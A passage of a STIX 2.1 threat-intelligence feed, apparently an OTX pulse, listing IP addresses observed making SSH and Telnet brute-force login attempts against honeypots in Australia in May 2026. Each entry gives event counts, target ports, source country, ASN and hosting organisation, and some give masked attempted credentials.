      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: US. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--058962c5-761c-42f6-a512-5b8b263e7a02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): u***3. Passwords observed (masked): t**p.",
      "id": "indicator--ae7d344a-676a-4714-bff9-24e6e45b1f60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.119.21.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f25dda3c-06bc-4d7d-8cef-8c669a6f388e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.26.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich. Usernames observed (masked): h***y. Passwords observed (masked): h***y.",
      "id": "indicator--e5fe0afa-7e82-4bd3-a11c-c7cd2d299fa2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.20.210.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--a38ad7f7-b5d8-46da-a131-13a169541446",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.121.70.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--eba0347e-7715-4700-95e3-d38fe372fcca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.140.94.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--b0666fb1-05b9-4540-9843-2589829619e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.26.188.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--556adabd-fd78-425c-bddc-8d215ec88041",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.141.48.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--52f98f77-c9a7-46f5-a95a-aeebd07487a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.32.208.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8a46a668-8927-425b-b302-0471e9040cd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.200.154.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273173. Organisation(s): TELECOM 3 C.A.",
      "id": "indicator--f2535b87-3d7b-4911-b77e-157588c50a26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.188.233.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 320. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45117. Organisation(s): Ishans Network. Usernames observed (masked): r**t, 3**********4, d*****t, d******1, d******3. Passwords observed (masked): 3***********4, 3**********4, !**************v, ***, 1*******f.",
      "id": "indicator--87eb1660-1452-4997-b35a-df6b910703d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.228.112.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--f00bf8c4-168a-4841-b1c0-d5bf95a0429f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.212.116.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): m***l. Passwords observed (masked): m***l.",
      "id": "indicator--152a2668-c694-4afb-9b2d-9ea1f9bcf1fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--96640f27-bd40-4663-b1f3-124e2beb341c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.20.214.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FI. ASN(s): 204339. Organisation(s): First Server Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--7f868741-3175-4bf2-a70d-c05b14734af5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.214.9.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T14:15:10.000Z",
      "valid_until": "2026-06-11T14:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--582cdb98-9b57-494c-a280-9da846db36c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.213.112.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--f7922c8e-6c7c-4b66-b551-8869fd3b10de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.243.38.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--b70e03c9-af70-45c2-a8bd-ab2f8ad89ada",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.67.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52931. Organisation(s): Netvip Telecomunicacoes Ltda.",
      "id": "indicator--36e0aec5-e181-4223-b54f-8b9213dec547",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.185.107.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fdfe59ae-d35c-4507-8e82-0e71bf6bf327",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.147.247.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 50219. Organisation(s): Valence Technology Co.. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f37c77f8-1ce2-4c47-a2c5-6b4f3341e13a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.194.42.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 136557. Organisation(s): Host Universal Pty Ltd.",
      "id": "indicator--974b7c0f-d78a-4ff0-832b-5245c5095438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.252.188.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--3f851bec-3bcd-40a6-a634-155970c84a51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 200213. Organisation(s): Tapcom Technology Limited. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--be403c72-c3fe-45ef-897b-471a24013e5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.105.154.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:15:10.000Z",
      "valid_until": "2026-06-11T15:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 212238. Organisation(s): Datacamp Limited.",
      "id": "indicator--4e8ec5ee-20b9-4f65-a6c5-98c50dc0b8f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '140.99.130.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--d946a5c3-8629-4c40-9d82-0c1b56c04dc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.208.53.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--a2286a3d-dc47-484f-a677-9fcba1d5c9cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--abc5b46f-2072-4cb1-aa9a-706bca0c4f9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.163.150.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--dd65327f-898f-4d63-8356-8a3dbe59cafa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--c6924992-6218-48f4-add4-ffbfcc841134",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.71.214.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--260e3f23-05c1-4e33-8eb3-d8c539879952",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.159.8.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--756f5bff-628a-48fe-85cb-2240ff6d085c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.228.142.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
